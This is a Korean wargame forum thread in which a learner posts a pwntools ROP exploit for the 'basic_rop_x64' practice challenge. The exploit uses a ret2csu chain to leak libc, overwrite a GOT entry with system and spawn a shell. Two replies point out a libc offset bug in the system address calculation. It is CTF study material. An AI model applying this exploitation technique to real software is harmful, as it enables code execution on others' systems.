[클라우드 바우처] 80% 할인된 금액으로 드림핵 엔터프라이즈를 도입해 보세요. 자세히 알아보기
10 코인 진짜 도와주에요 ㅝㅜ

이문제로 많이 해메고 잇어요 거의 다온거같은데 system 함수가 전달 안되는 거같아요 어떤게 문제죠?

작성한 셀코드는 from pwn import*
context.log_level = "debug"
p = process("./basic_rop_x64")
#p =remote("host3.dreamhack.games",20854)
#e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")
read_got = 0x601030
bss = 0x601080
write_got = 0x601020
csu_init1 = 0x40087a
csu_init2 = 0x400860
payload = b"A" * 0x48
#write(1,write,8) leack got
payload +=p64(csu_init1)
payload +=p64(0)
payload +=p64(1)
payload +=p64(write_got)
payload +=p64(8)
payload +=p64(write_got)
payload +=p64(1)
payload +=p64(csu_init2)
#read(0,bss,binsh)
payload +=p64(0)
payload +=p64(1)
payload +=p64(read_got)
payload +=p64(8)
payload +=p64(bss)
payload +=p64(0)
payload +=p64(csu_init2)
#write(1,read_got,sytem)
payload +=p64(0)
payload +=p64(1)
payload +=p64(write_got)
payload +=p64(8)
payload +=p64(read_got)
payload +=p64(1)
payload +=p64(csu_init2)
#system(binsh)
payload +=p64(0)
payload +=p64(1)
payload +=p64(read_got)
payload +=p64(0)
payload +=p64(0)
payload +=p64(bss)
payload +=p64(csu_init2)
p.sendline(payload)
print(p.recvn(0x40))
write_addr = u64(p.recvn(8))
libc_base = write_addr - 0xf72b0
system = libc_base - 0xf72b0 + 0x45390
print('write @ ' + hex(write_addr))
print('system @ ' + hex(system))
p.send('/bin/sh\x00')
p.sendline(p64(system))
gdb.attach(p)
pause()
p.interactive() 이렇캐 됩니당 ㅜㅜ
버전은 20.4

#pwnable
작성자 정보
답변 2
avatar
propaganda
댓글 작성: 10

system = libc_base - 0xf72b0 + 0x45390

이 코드가 좀 이상한 거 같아요
그러니깐 0xf72b0 이 값이 write 함수 오프셋 같은데 시스템 함수 주소 구하는데 사용되고 있으니 음..

2023.01.12. 20:12
질문자가 채택한 답변입니다. 좋은 지식을 공유해줘서 고마워요!
avatar
wyv3rn
무플 방지 위원회장

음 왜 csu로 푸시는지 모르겠지만... 공부하신다 생각하고
그냥 제일 먼저 보이는건
system = libc_base - 0xf72b0 + 0x45390
인데 베이스에서 write offset을 한번 더 빼신 것 같네요

2023.01.12. 20:17
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기